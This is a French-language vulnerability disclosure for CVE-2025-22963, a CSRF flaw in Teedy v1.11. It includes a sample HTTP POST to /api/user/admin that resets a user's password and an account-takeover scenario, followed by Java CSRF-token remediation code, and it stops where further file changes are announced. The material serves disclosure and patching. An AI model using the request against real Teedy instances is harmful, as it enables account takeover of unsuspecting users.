
Exploit de preuve de concept pour CVE-2025-22963, une vulnérabilité CSRF dans Teedy v1.11 permettant la prise de contrôle de compte via le point de terminaison de modification des informations utilisateur.
La vulnérabilité de falsification de requête intersite (CSRF) dans les versions de Teedy <= v1.11 permet à des attaquants distants de forcer un utilisateur final à modifier ses informations utilisateur (nom d'utilisateur, mot de passe, etc.) sur l'application web dans laquelle il est actuellement authentifié.
Le point de terminaison de modification des informations utilisateur est /api/user/:username.
Ce point de terminaison vérifie uniquement le cookie auth_token pour l'autorisation.
La valeur de auth_token peut être utilisée depuis d'autres sites web d'origine.
POST /api/user/admin HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 173
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/
Cookie: auth_token=890b02eb-3e4b-4134-a523-56093a25952b
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure
Par conséquent, amener un utilisateur final à visiter le site web qui envoie des requêtes vers /api/user/:username conduit à remplacer les informations de l'utilisateur final par celles de l'attaquant distant.
Les informations utilisateur incluent le mot de passe.
Cela peut conduire à une prise de contrôle du compte.
Cette attaque est réalisable lorsqu'un attaquant distant connaît le nom d'utilisateur d'un utilisateur final.
Cette attaque est exploitable à la fois contre les utilisateurs administrateurs et les invités.
Dans cette situation, un attaquant peut prendre le contrôle du compte de la victime en définissant le mot de passe de la victime sur celui de l'attaquant, puis en se connectant au compte de la victime avec le mot de passe de l'attaquant.
Pour corriger cette vulnérabilité, joignez un jeton CSRF lors de la requête vers /api/user/:username.
POST /api/user/admin HTTP/1.1
...
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure&csrf_token=<randomly generated token>
Cela protège contre les attaques CSRF car un attaquant ne connaît pas la valeur du jeton CSRF.
Pour utiliser le jeton CSRF de manière sécurisée, suivez ces étapes
Tout d'abord, créez ces fichiers dans le répertoire docs/docs-web/src/main/java/com/sismics/docs/rest/util.
package com.sismics.docs.rest.util;
import java.util.Map;
import java.util.HashMap;
import java.security.SecureRandom;
import com.sismics.docs.rest.util.RandomTokenGenerator;
/**
* CSRF Token Class that manages users' CSRF Token
*/
public class CSRFToken {
private static CSRFToken instance = new CSRFToken();
private Map<String, String> tokenMap = new HashMap<String, String>();
private CSRFToken() {}
public static CSRFToken getInstance() {
return instance;
}
public void setToken(String userName, String token) {
tokenMap.put(userName, token);
}
public String getToken(String userName) {
if (tokenMap.containsKey(userName)) {
return tokenMap.get(userName);
}
// avoid using predictable string because bruteforcing this value could lead to bypass CSRF check
return RandomTokenGenerator.generate();
}
public boolean validate(String userName, String token) {
return this.getToken(userName).equals(token);
}
}
RandomTokenGenerator.java
package com.sismics.docs.rest.util;
import java.security.SecureRandom;
import java.lang.StringBuilder;
import java.lang.String;
/**
* A token generator for CSRF Token
*/
public class RandomTokenGenerator {
public static String generate() {
byte[] bytes = new byte[16];
SecureRandom rand = new SecureRandom();
rand.nextBytes(bytes);
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}
Après cela, modifiez ces fichiers comme suit.

sismics - Teedy(https://github.com/sismics/docs)
portswigger - Falsification de requête intersite (CSRF)(https://portswigger.net/web-security/csrf)
Mozilla - Exemples de scénarios de contrôle d'accès(https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#examples_of_access_control_scenarios)
Merci, Ayato, de m'avoir appris à signaler une vulnérabilité.